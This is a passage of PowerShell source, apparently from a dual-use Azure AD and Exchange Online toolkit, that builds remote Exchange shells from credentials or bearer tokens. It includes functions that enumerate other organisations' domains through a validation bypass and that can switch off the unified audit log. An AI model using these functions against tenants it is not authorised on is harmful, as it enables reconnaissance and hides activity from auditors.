<creationXml xmlns="http://schemas.microsoft.com/powershell">AAAAAAAAAAcAAAAAAAAAAAMAAALwAgAAAAIAAQAGWlblyniqQabvSrnLG9XKAAAAAAAAAAAAAAAAAAAAAO+7vzxPYmogUmVmSWQ9IjAiPjxNUz48VmVyc2lvbiBOPSJwcm90b2NvbHZlcnNpb24iPjIuMzwvVmVyc2lvbj48VmVyc2lvbiBOPSJQU1ZlcnNpb24iPjIuMDwvVmVyc2lvbj48VmVyc2lvbiBOPSJTZXJpYWxpemF0aW9uVmVyc2lvbiI+MS4xLjAuMTwvVmVyc2lvbj48QkEgTj0iVGltZVpvbmUiPkFBRUFBQUQvLy8vL0FRQUFBQUFBQUFBRUFRQUFBQnhUZVhOMFpXMHVRM1Z5Y21WdWRGTjVjM1JsYlZScGJXVmFiMjVsQkFBQUFCZHRYME5oWTJobFpFUmhlV3hwWjJoMFEyaGhibWRsY3cxdFgzUnBZMnR6VDJabWMyVjBEbTFmYzNSaGJtUmhjbVJPWVcxbERtMWZaR0Y1YkdsbmFIUk9ZVzFsQXdBQkFSeFRlWE4wWlcwdVEyOXNiR1ZqZEdsdmJuTXVTR0Z6YUhSaFlteGxDUWtDQUFBQUFOQ0l3eEFBQUFBS0NnUUNBQUFBSEZONWMzUmxiUzVEYjJ4c1pXTjBhVzl1Y3k1SVlYTm9kR0ZpYkdVSEFBQUFDa3h2WVdSR1lXTjBiM0lIVm1WeWMybHZiZ2hEYjIxd1lYSmxjaEJJWVhOb1EyOWtaVkJ5YjNacFpHVnlDRWhoYzJoVGFYcGxCRXRsZVhNR1ZtRnNkV1Z6QUFBREF3QUZCUXNJSEZONWMzUmxiUzVEYjJ4c1pXTjBhVzl1Y3k1SlEyOXRjR0Z5WlhJa1UzbHpkR1Z0TGtOdmJHeGxZM1JwYjI1ekxrbElZWE5vUTI5a1pWQnliM1pwWkdWeUNPeFJPRDhBQUFBQUNnb0RBQUFBQ1FNQUFBQUpCQUFBQUJBREFBQUFBQUFBQUJBRUFBQUFBQUFBQUFzPTwvQkE+PC9NUz48L09iaj4AAAAAAAAACAAAAAAAAAAAAwAACtwCAAAABAABAAZaVuXKeKpBpu9Kucsb1coAAAAAAAAAAAAAAAAAAAAA77u/PE9iaiBSZWZJZD0iMCI+PE1TPjxJMzIgTj0iTWluUnVuc3BhY2VzIj4xPC9JMzI+PEkzMiBOPSJNYXhSdW5zcGFjZXMiPjE8L0kzMj48T2JqIE49IlBTVGhyZWFkT3B0aW9ucyIgUmVmSWQ9IjEiPjxUTiBSZWZJZD0iMCI+PFQ+U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5SdW5zcGFjZXMuUFNUaHJlYWRPcHRpb25zPC9UPjxUPlN5c3RlbS5FbnVtPC9UPjxUPlN5c3RlbS5WYWx1ZVR5cGU8L1Q+PFQ+U3lzdGVtLk9iamVjdDwvVD48L1ROPjxUb1N0cmluZz5EZWZhdWx0PC9Ub1N0cmluZz48STMyPjA8L0kzMj48L09iaj48T2JqIE49IkFwYXJ0bWVudFN0YXRlIiBSZWZJZD0iMiI+PFROIFJlZklkPSIxIj48VD5TeXN0ZW0uVGhyZWFkaW5nLkFwYXJ0bWVudFN0YXRlPC9UPjxUPlN5c3RlbS5FbnVtPC9UPjxUPlN5c3RlbS5WYWx1ZVR5cGU8L1Q+PFQ+U3lzdGVtLk9iamVjdDwvVD48L1ROPjxUb1N0cmluZz5Vbmtub3duPC9Ub1N0cmluZz48STMyPjI8L0kzMj48L09iaj48T2JqIE49IkFwcGxpY2F0aW9uQXJndW1lbnRzIiBSZWZJZD0iMyI+PFROIFJlZklkPSIyIj48VD5TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlBTUHJpbWl0aXZlRGljdGlvbmFyeTwvVD48VD5TeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlPC9UPjxUPlN5c3RlbS5PYmplY3Q8L1Q+PC9UTj48RENUPjxFbj48UyBOPSJLZXkiPlBTVmVyc2lvblRhYmxlPC9TPjxPYmogTj0iVmFsdWUiIFJlZklkPSI0Ij48VE5SZWYgUmVmSWQ9IjIiIC8+PERDVD48RW4+PFMgTj0iS2V5Ij5QU1ZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjUuMS4xNzEzNC41OTA8L1ZlcnNpb24+PC9Fbj48RW4+PFMgTj0iS2V5Ij5QU0VkaXRpb248L1M+PFMgTj0iVmFsdWUiPkRlc2t0b3A8L1M+PC9Fbj48RW4+PFMgTj0iS2V5Ij5QU0NvbXBhdGlibGVWZXJzaW9uczwvUz48T2JqIE49IlZhbHVlIiBSZWZJZD0iNSI+PFROIFJlZklkPSIzIj48VD5TeXN0ZW0uVmVyc2lvbltdPC9UPjxUPlN5c3RlbS5BcnJheTwvVD48VD5TeXN0ZW0uT2JqZWN0PC9UPjwvVE4+PExTVD48VmVyc2lvbj4xLjA8L1ZlcnNpb24+PFZlcnNpb24+Mi4wPC9WZXJzaW9uPjxWZXJzaW9uPjMuMDwvVmVyc2lvbj48VmVyc2lvbj40LjA8L1ZlcnNpb24+PFZlcnNpb24+NS4wPC9WZXJzaW9uPjxWZXJzaW9uPjUuMS4xNzEzNC41OTA8L1ZlcnNpb24+PC9MU1Q+PC9PYmo+PC9Fbj48RW4+PFMgTj0iS2V5Ij5DTFJWZXJzaW9uPC9TPjxWZXJzaW9uIE49IlZhbHVlIj40LjAuMzAzMTkuNDIwMDA8L1ZlcnNpb24+PC9Fbj48RW4+PFMgTj0iS2V5Ij5CdWlsZFZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjEwLjAuMTcxMzQuNTkwPC9WZXJzaW9uPjwvRW4+PEVuPjxTIE49IktleSI+V1NNYW5TdGFja1ZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjMuMDwvVmVyc2lvbj48L0VuPjxFbj48UyBOPSJLZXkiPlBTUmVtb3RpbmdQcm90b2NvbFZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjIuMzwvVmVyc2lvbj48L0VuPjxFbj48UyBOPSJLZXkiPlNlcmlhbGl6YXRpb25WZXJzaW9uPC9TPjxWZXJzaW9uIE49IlZhbHVlIj4xLjEuMC4xPC9WZXJzaW9uPjwvRW4+PC9EQ1Q+PC9PYmo+PC9Fbj48L0RDVD48L09iaj48T2JqIE49Ikhvc3RJbmZvIiBSZWZJZD0iNiI+PE1TPjxPYmogTj0iX2hvc3REZWZhdWx0RGF0YSIgUmVmSWQ9IjciPjxNUz48T2JqIE49ImRhdGEiIFJlZklkPSI4Ij48VE4gUmVmSWQ9IjQiPjxUPlN5c3RlbS5Db2xsZWN0aW9ucy5IYXNodGFibGU8L1Q+PFQ+U3lzdGVtLk9iamVjdDwvVD48L1ROPjxEQ1Q+PEVuPjxJMzIgTj0iS2V5Ij45PC9JMzI+PE9iaiBOPSJWYWx1ZSIgUmVmSWQ9IjkiPjxNUz48UyBOPSJUIj5TeXN0ZW0uU3RyaW5nPC9TPjxTIE49IlYiPldpbmRvd3MgUG93ZXJTaGVsbCBJU0U8L1M+PC9NUz48L09iaj48L0VuPjxFbj48STMyIE49IktleSI+NTwvSTMyPjxPYmogTj0iVmFsdWUiIFJlZklkPSIxMCI+PE1TPjxTIE49IlQiPlN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uSG9zdC5TaXplPC9TPjxPYmogTj0iViIgUmVmSWQ9IjExIj48TVM+PEkzMiBOPSJ3aWR0aCI+ODg8L0kzMj48STMyIE49ImhlaWdodCI+MDwvSTMyPjwvTVM+PC9PYmo+PC9NUz48L09iaj48L0VuPjxFbj48STMyIE49IktleSI+MjwvSTMyPjxPYmogTj0iVmFsdWUiIFJlZklkPSIxMiI+PE1TPjxTIE49IlQiPlN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uSG9zdC5Db29yZGluYXRlczwvUz48T2JqIE49IlYiIFJlZklkPSIxMyI+PE1TPjxJMzIgTj0ieCI+MDwvSTMyPjxJMzIgTj0ieSI+MDwvSTMyPjwvTVM+PC9PYmo+PC9NUz48L09iaj48L0VuPjxFbj48STMyIE49IktleSI+MTwvSTMyPjxPYmogTj0iVmFsdWUiIFJlZklkPSIxNCI+PE1TPjxTIE49IlQiPlN5c3RlbS5Db25zb2xlQ29sb3I8L1M+PEkzMiBOPSJWIj4tMTwvSTMyPjwvTVM+PC9PYmo+PC9Fbj48RW4+PEkzMiBOPSJLZXkiPjA8L0kzMj48T2JqIE49IlZhbHVlIiBSZWZJZD0iMTUiPjxNUz48UyBOPSJUIj5TeXN0ZW0uQ29uc29sZUNvbG9yPC9TPjxJMzIgTj0iViI+LTE8L0kzMj48L01TPjwvT2JqPjwvRW4+PC9EQ1Q+PC9PYmo+PC9NUz48L09iaj48QiBOPSJfaXNIb3N0TnVsbCI+ZmFsc2U8L0I+PEIgTj0iX2lzSG9zdFVJTnVsbCI+ZmFsc2U8L0I+PEIgTj0iX2lzSG9zdFJhd1VJTnVsbCI+ZmFsc2U8L0I+PEIgTj0iX3VzZVJ1bnNwYWNlSG9zdCI+ZmFsc2U8L0I+PC9NUz48L09iaj48L01TPjwvT2JqPg==</creationXml>
</rsp:Shell>
"@
Write-Verbose "Session Id: $SessionId"
$Envelope = Create-PSRPEnvelope -SessionId $SessionId -Body $Body -Action Create -Option @("protocolversion","2.3")
# Create the Shell
try
{
$shell_response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
}
catch
{
# Probably wrong credentials or access token
Write-error $_.Exception.Message
return
}
[xml]$response = $shell_response
# Save the shell id for the later use
$Shell_Id = $response.Envelope.Body.Shell.ShellId
Write-Verbose "ShellId: $Shell_Id"
# Get the output to read session capabilities etc.
$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -Oauth $Oauth
foreach($message in $response.Envelope.Body.ReceiveResponse.Stream)
{
$parsed_message = Parse-PSRPMessage -Base64Value $message.'#text'
}
# Read the rest of the output
while($parsed_message.'Message type' -ne "Runspool state")
{
try
{
$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -Oauth $Oauth
$message = $response.Envelope.Body.ReceiveResponse.Stream.'#text'
$parsed_message = Parse-PSRPMessage -Base64Value $message
}
catch
{
break
}
}
return $Shell_Id
}
}
# Gets other domains of the given tenant
# Apr 24th 2019
function Get-TenantDomains2
{
<#
.SYNOPSIS
Gets other domains from the tenant of the given domain
.DESCRIPTION
Uses Exchange Online "feature" that allows Get-FederationInformation cmdlet to retrive other
domains from the tenant of the given domain. The tenant used to retrieve information can
be any tenant having Exchange Online, including trial tenants.
The given user MUST have GlobalAdmin / CompanyAdministrator role in the tenant running the function,
but no rights to the target tenant is needed.
Due to Exchange Online, this function is extremely slow, can take 10 seconds or more to complete.
The given domain SHOULD be Managed, federated domains are not always found for some reason.
If nothing is found, try to use <domain>.onmicrosoft.com
.Example
Get-AADIntTenantDomains -Credentials $Cred -Domain company.com
company.com
company.fi
company.co.uk
company.onmicrosoft.com
company.mail.onmicrosoft.com
.Example
$at = Get-AADIntAccessTokenForEXO
PS C:\>Get-AADIntTenantDomains -AccessToken $at -Domain company.com
company.com
company.fi
company.co.uk
company.onmicrosoft.com
company.mail.onmicrosoft.com
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Domain
)
Process
{
# First, check if the domain is registered to Azure AD
$tenantId = Get-TenantID -Domain $Domain
if([string]::IsNullOrEmpty($tenantId))
{
Write-Error "Domain $domain is not registered to any Azure AD tenant"
return
}
# A fixed runspacel pool ID, used in PSRP messages
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
# Counter for Object IDs
$ObjectId=10
$Oauth=$false
# If Credentials is null, create the credentials object from AccessToken manually
if($Credentials -eq $null)
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$upn = (Read-Accesstoken $AccessToken).upn
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
$Oauth=$True
}
# Create a shell
$SessionId = (New-Guid).ToString().ToUpper()
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
if([string]::IsNullOrEmpty($Shell_Id))
{
# Something went wrong, exit
return
}
# Create an arguments message (uses the fixed runspace pool ID)
$arguments = @"
<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List``1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Get-FederationInformation</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST><Obj RefId="13"><MS><S N="N">-DomainName:</S><S N="V">$Domain</S></MS></Obj><Obj RefId="14"><MS><S N="N">-BypassAdditionalDomainValidation:</S><Obj N="V" RefId="15"><TN RefId="2"><T>System.Management.Automation.SwitchParameter</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>True</ToString><Props><B N="IsPresent">true</B></Props></Obj></MS></Obj></LST></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History" /><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="16"><TN RefId="3"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="17"><TN RefId="4"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="18"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>
"@
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
$commandId = (New-Guid).ToString().ToUpper()
$Body = @"
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
<rsp:Command>Get-FederationInformation</rsp:Command>
<rsp:Arguments>$message</rsp:Arguments>
</rsp:CommandLine>
"@
# Create the envelope for Get-FederationInfo -cmdlet
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
$Domains = @()
try
{
# Make the command call
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
$get_output = $true
# Get the output
while($get_output)
{
try
{
[xml]$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth
# Update the progress so we know that something is going on..
Write-Progress -Activity "Retrieving domains from tenant ($tenantId)" -Status $(Get-WaitingMessage) -PercentComplete 50
# Loop through streams
foreach($message in $response.Envelope.Body.ReceiveResponse.Stream)
{
$parsed_message = Parse-PSRPMessage -Base64Value $message.'#text'
[xml]$xmlData = $parsed_message.Data
if($parsed_message.'Message type' -eq "Progress record")
{
# Extract the StatusDescription and PercentComlete from the message
$StatusDescription = (Select-Xml -Xml $xmlData -XPath "//*[@N='StatusDescription']").Node.'#text'
[int]$PercentComlete = (Select-Xml -Xml $xmlData -XPath "//*[@N='PercentComplete']").Node.'#text'
}
elseif($parsed_message.'Message type' -eq "Pipeline output")
{
$DomainNames = (Select-Xml -Xml $xmlData -XPath "//*[@N='DomainNames']")
$Domains = $DomainNames.node.lst.S
}
elseif($parsed_message.'Message type' -eq "Pipeline state")
{
$errorRecord = (Select-Xml -Xml $xmlData -XPath "//*[@N='ErrorRecord']").Node.'#text'
if(![string]::IsNullOrEmpty($errorRecord))
{
# Something went wrong, probably not an admin user
Write-Error "Received the following error (probably the user has no admin rights):"
Write-Error "$errorRecord"
}
}
}
# Loop thru the CommandStates
foreach($state in $response.Envelope.Body.ReceiveResponse.CommandState)
{
# Okay, we're done!
$exitCode = $state.ExitCode
if(![string]::IsNullOrEmpty($exitCode))
{
Write-Progress -Activity "Retrieving domains" -Completed
$get_output = $false
}
}
}
catch
{
# Something wen't wrong so exit the loop
break
}
}
}
catch
{
# Do nothing
}
# Finally remove the shell
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
# Return domain names
return $Domains | sort
}
}
# Removes the shell, a.k.a. disconnects from the ps host
# Apr 24th 2019
function Remove-PSRPShell
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter()]
[Bool]$Oauth=$False,
[Parameter(Mandatory=$True)]
[String]$Shell_Id,
[Parameter(Mandatory=$True)]
[String]$SessionId
)
Process
{
$Envelope = Create-PSRPEnvelope -SessionId $SessionId -Body " " -Action Delete -Shell_Id $Shell_Id
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
# Nothing to return..
}
}
# Get Mobile Devices
# May 9th 2019
function Get-MobileDevices
{
<#
.SYNOPSIS
Gets mobile devices for the current user or all devices (if admin)
.DESCRIPTION
Retrieves a list of mobile devices using Remote Exchange Online PowerShell
.Example
Get-AADIntMobileDevices -Credentials $Cred
.Example
$at = Get-AADIntAccessTokenForEXO
PS C:\>Get-AADIntTenantDomains -AccessToken $at
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# A fixed runspacel pool ID, used in PSRP messages
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
# Counter for Object IDs
$ObjectId=10
$Oauth=$false
# If Credentials is null, create the credentials object from AccessToken manually
if($Credentials -eq $null)
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$upn = (Read-Accesstoken $AccessToken).upn
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
$Oauth=$True
}
# Create a shell
$SessionId = (New-Guid).ToString().ToUpper()
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
if([string]::IsNullOrEmpty($Shell_Id))
{
# Something went wrong, exit
return
}
# Create an arguments message
$arguments = @"
<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Get-MobileDevice</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST /></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History"/><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="13"><TN RefId="2"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="14"><TN RefId="3"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="15"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>
"@
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
$commandId = (New-Guid).ToString().ToUpper()
$Body = @"
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
<rsp:Command>Get-MobileDevice</rsp:Command>
<rsp:Arguments>$message</rsp:Arguments>
</rsp:CommandLine>
"@
# Create the envelope for Get-MovileDevices -cmdlet
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
$mobileDevices = Receive-PSRPObjects -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth -Envelope $Envelope
# Finally remove the shell
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
return $MobileDevices
}
}
# Get Unified audit log status
# Jan 21st 2020
function Get-UnifiedAuditLogSettings
{
<#
.SYNOPSIS
Gets Unified Audit Log settings
.DESCRIPTION
Gets Unified Audit Log settings with Get-AdminAuditLogConfig using Remote Exchange Online PowerShell
.Example
Get-AADIntUnifiedAuditLogSettings -Credentials $Cred
UnifiedAuditLogIngestionEnabled UnifiedAuditLogFirstOptInDate
------------------------------- -----------------------------
true 2021-01-22T09:59:51.0870075Z
.Example
Get-AADIntAccessTokenForEXO -SaveToCache
PS C:\>Get-AADIntUnifiedAuditLogSettings | Select Unified*
UnifiedAuditLogIngestionEnabled UnifiedAuditLogFirstOptInDate
------------------------------- -----------------------------
true 2021-01-22T09:59:51.0870075Z
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# A fixed runspacel pool ID, used in PSRP messages
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
# Counter for Object IDs
$ObjectId=10
$Oauth=$false
# If Credentials is null, create the credentials object from AccessToken manually
if($Credentials -eq $null)
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$upn = (Read-Accesstoken $AccessToken).upn
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
$Oauth=$True
}
# Create a shell
$SessionId = (New-Guid).ToString().ToUpper()
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
if([string]::IsNullOrEmpty($Shell_Id))
{
# Something went wrong, exit
return
}
# Create an arguments message
$arguments = '<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Get-AdminAuditLogConfig</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST /></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History" /><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="13"><TN RefId="2"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="14"><TN RefId="3"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="15"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>'
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
$commandId = (New-Guid).ToString().ToUpper()
$Body = @"
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
<rsp:Command>Get-AdminAuditLogConfig</rsp:Command>
<rsp:Arguments>$message</rsp:Arguments>
</rsp:CommandLine>
"@
# Create the envelope for Get-AdminAuditLogConfig -cmdlet
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
$settings = Receive-PSRPObjects -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth -Envelope $Envelope
# Finally remove the shell
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
return $settings
}
}
# Enable or disable Unified Audit Log
# Jan 22nd 2020
function Set-UnifiedAuditLogSettings
{
<#
.SYNOPSIS
Enables or disables Unified Audit log
.DESCRIPTION
Enables or disables Unified Audit log Set-AdminAuditLogConfig using Remote Exchange Online PowerShell.
It will take hours for the changes to take effect.
.Example
Get-AADIntUnifiedAuditLogSettings -Credentials $Cred
.Example
Get-AADIntAccessTokenForEXO -SaveToCache
PS C:\>Get-AADIntUnifiedAuditLogSettings | Select Unified*
UnifiedAuditLogIngestionEnabled UnifiedAuditLogFirstOptInDate
------------------------------- -----------------------------
true 2021-01-22T09:59:51.0870075Z
PS C:\>Set-AADIntUnifiedAuditLogSettings -Enabled false
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[Bool]$Enable
)
Process
{
# A fixed runspacel pool ID, used in PSRP messages
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
# Counter for Object IDs
$ObjectId=10
$Oauth=$false
# If Credentials is null, create the credentials object from AccessToken manually
if($Credentials -eq $null)
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$upn = (Read-Accesstoken $AccessToken).upn
